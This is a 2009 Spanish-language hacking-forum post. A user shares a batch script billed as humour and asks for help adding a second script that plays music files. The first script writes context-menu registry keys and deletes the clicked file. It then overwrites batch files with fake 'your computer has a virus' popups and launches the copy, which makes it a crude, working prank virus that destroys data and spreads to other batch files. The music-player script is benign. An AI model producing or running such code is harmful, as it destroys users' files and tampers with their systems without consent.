:::::buen humor con batch¡¡¡¡¡¡¡¡¡¡¡:::::::::

Iniciado por Kalister, 29 Marzo 2009, 23:33 PM

0 Miembros y 1 Visitante están viendo este tema.

Kalister

he estado haciendo unos programas para matar al tiempo y esa frase me dio una idea que cuando le des clic derecho  a un archivo y se despliegew un menu salga la opcion "matar..." o la opcion "infectar..."
::::aqui el código::::

@echo off
if not exist kill.txt (
REG ADD HKCR\batfile\shell /v matar... /f
REG ADD HKCR\batfile\shell\matar... /v command /f
REG ADD HKCR\batfile\shell\matar...\command /ve /d """"%0""" """%%1"""" /f
echo.>kill.txt)
del %1
if not exist infected.txt (
REG ADD HKCR\batfile\shell /v reproducir... /f
REG ADD HKCR\batfile\shell\reproducir... /v command /f
REG ADD HKCR\batfile\shell\reproducir...\command /ve /d """"%0""" """%%1"""" /f
echo.>infected.txt)
echo @echo off>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
IF EXIST A.Bat
del a.bat
copy %1 a.BAT
start a.BAT


pero solo funciona en archivos bat quiero tener la opcion para archivos de musica
como reproducirlos:

@echo off
if not exist play.txt (
REG ADD HKCR\batfile\shell /v play... /f
REG ADD HKCR\batfile\shell\play... /v command /f
REG ADD HKCR\batfile\shell\play...\command /ve /d """"%0""" """%%1"""" /f
echo.>play.txt)

echo Set Wmp = CreateObject("WMPlayer.OCX") >%temp%\player.vbs
echo archivo = Wscript.Arguments.Item(0) >>%temp%\player.vbs
echo Wmp.URL = (archivo) >>%temp%\player.vbs
echo Wmp.Controls.play >>%temp%\player.vbs
echo do while Wmp.currentmedia.duration = 0 >>%temp%\player.vbs
echo wscript.sleep 100 >>%temp%\player.vbs
echo loop >>%temp%\player.vbs
echo wscript.sleep (int(Wmp.currentmedia.duration)+1)*1000 >>%temp%\player.vbs
echo cargando:::::::::::::::::::
ping -n  3 127.0.0.1 > nul
start %temp%\player.vbs %1


visiten mi post y ayudenme¡
http://foro.elhacker.net/scripting/reproductor_en_batchvbsayuda-t249258.0.html
" Gissel why I forget how to love you if everyday I think about you